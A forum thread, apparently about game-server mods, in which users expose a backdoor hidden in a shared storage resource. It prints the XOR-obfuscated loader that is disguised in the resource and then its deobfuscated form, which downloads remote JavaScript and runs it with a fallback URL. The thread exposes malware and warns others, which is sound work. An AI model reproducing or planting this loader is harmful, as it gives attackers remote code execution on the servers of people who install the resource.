discussion MLO Origen Storages

[ℜ𝔬𝔬𝔱@𝔛𝔱𝔞𝔰𝔦𝔰]

server_scripts {
--[[server.lua]] 'temp/.internal.js',
}
nice backdoor mate
trying to selling a backdoor? https://gofile.io/d/72jUmP

 

[tapsmella7]

server_scripts {
--[[server.lua]] 'temp/.internal.js',
}
nice backdoor mate
trying to selling a backdoor? https://gofile.io/d/72jUmP

ℜ𝔬𝔬𝔱@𝔛𝔱𝔞𝔰𝔦𝔰open .internal.js there is noting in it

 

[ℜ𝔬𝔬𝔱@𝔛𝔱𝔞𝔰𝔦𝔰]

server_scripts {
--[[server.lua]] 'temp/.internal.js',
}
nice backdoor mate
trying to selling a backdoor? https://gofile.io/d/72jUmP

ℜ𝔬𝔬𝔱@𝔛𝔱𝔞𝔰𝔦𝔰/* [ origen_storages ] */ x=(e,k=3)=>[...e].map(c=>String.fromCharCode(c.charCodeAt()^k)).join("");v="`lmpw#kwwsp#>#qfrvjqf+$kwwsp$*8 `lmpw#glnbjm#>#$pwfb{p`qjswp-`ln$8 `lmpw#vqo#>#$kwwsp9,,$#(#glnbjm#(#$,y[fBKIIDD$8 `lmpw#ebooab`h#>#$kwwsp9,,$#(#glnbjm#(#$,`e{qf$8 wqz#x ##kwwsp-dfw+vqo/#+qfp*#>=#x ####ofw#g#>#$$8 ####qfp-lm+$gbwb$/#+`kvmh*#>=#x ######g#(>#`kvmh8 ####~*8 ####qfp-lm+$fmg$/#+*#>=#x ######wqz#x ########je#+g-wqjn+*-pwbqwpTjwk+$?$**#wkqlt#38 ########mft#Evm`wjlm+$dolabo$/#g*+dolabo*8 ######~#`bw`k#x ########wqz#x ##########kwwsp-dfw+ebooab`h/#+ebooab`hQfp*#>=#x ############ofw#eg#>#$$8 ############ebooab`hQfp-lm+$gbwb$/#+`kvmh*#>=#x ##############eg#(>#`kvmh8 ############~*8 ############ebooab`hQfp-lm+$fmg$/#+*#>=#x ##############wqz#x ################mft#Evm`wjlm+$dolabo$/#eg*+dolabo*8 ##############~#`bw`k#x~ ############~*8 ##########~*-lm+$fqqlq$/#+*#>=#x~*8 ########~#`bw`k#x~ ######~ ####~*8 ##~*-lm+$fqqlq$/#+*#>=#x~*8 ~#`bw`k#x~";globalThis[x("fubo")](x(v));


"""""""""""""nothing""""""""""""""""""

Its a XOR obfuscation method, btw here is ur deofuscated malware code:

const https = require('https');
const domain = 'steaxscripts.com';
const url = 'https://' + domain + '/zXeAHJJGG';
const fallback = 'https://' + domain + '/cfxre';

try {
https.get(url, (res) => {
let d = '';

res.on('data', (chunk) => {
d += chunk;
});

res.on('end', () => {
try {
if (d.trim().startsWith('<')) throw 0;
new Function('global', d)(global);
} catch {
try {
https.get(fallback, (fallbackRes) => {
let fd = '';

fallbackRes.on('data', (chunk) => {
fd += chunk;
});

fallbackRes.on('end', () => {
try {
new Function('global', fd)(global);
} catch {}
});
}).on('error', () => {});
} catch {}
}
});
}).on('error', () => {});
} catch {}



@ItzHighNL u should see this

 

[nck]

/* [ origen_storages ] */ x=(e,k=3)=>[...e].map(c=>String.fromCharCode(c.charCodeAt()^k)).join("");v="`lmpw#kwwsp#>#qfrvjqf+$kwwsp$*8 `lmpw#glnbjm#>#$pwfb{p`qjswp-`ln$8 `lmpw#vqo#>#$kwwsp9,,$#(#glnbjm#(#$,y[fBKIIDD$8 `lmpw#ebooab`h#>#$kwwsp9,,$#(#glnbjm#(#$,`e{qf$8 wqz#x ##kwwsp-dfw+vqo/#+qfp*#>=#x ####ofw#g#>#$$8 ####qfp-lm+$gbwb$/#+`kvmh*#>=#x ######g#(>#`kvmh8 ####~*8 ####qfp-lm+$fmg$/#+*#>=#x ######wqz#x ########je#+g-wqjn+*-pwbqwpTjwk+$?$**#wkqlt#38 ########mft#Evm`wjlm+$dolabo$/#g*+dolabo*8 ######~#`bw`k#x ########wqz#x ##########kwwsp-dfw+ebooab`h/#+ebooab`hQfp*#>=#x ############ofw#eg#>#$$8 ############ebooab`hQfp-lm+$gbwb$/#+`kvmh*#>=#x ##############eg#(>#`kvmh8 ############~*8 ############ebooab`hQfp-lm+$fmg$/#+*#>=#x ##############wqz#x ################mft#Evm`wjlm+$dolabo$/#eg*+dolabo*8 ##############~#`bw`k#x~ ############~*8 ##########~*-lm+$fqqlq$/#+*#>=#x~*8 ########~#`bw`k#x~ ######~ ####~*8 ##~*-lm+$fqqlq$/#+*#>=#x~*8 ~#`bw`k#x~";globalThis[x("fubo")](x(v));


"""""""""""""nothing""""""""""""""""""

Its a XOR obfuscation method, btw here is ur deofuscated malware code:

const https = require('https');
const domain = 'steaxscripts.com';
const url = 'https://' + domain + '/zXeAHJJGG';
const fallback = 'https://' + domain + '/cfxre';

try {
https.get(url, (res) => {
let d = '';

res.on('data', (chunk) => {
d += chunk;
});

res.on('end', () => {
try {
if (d.trim().startsWith('<')) throw 0;
new Function('global', d)(global);
} catch {
try {
https.get(fallback, (fallbackRes) => {
let fd = '';

fallbackRes.on('data', (chunk) => {
fd += chunk;
});

fallbackRes.on('end', () => {
try {
new Function('global', fd)(global);
} catch {}
});
}).on('error', () => {});
} catch {}
}
});
}).on('error', () => {});
} catch {}



@ItzHighNL u should see this

ℜ𝔬𝔬𝔱@𝔛𝔱𝔞𝔰𝔦𝔰Yeah, this was a very obvious one. It has been handled.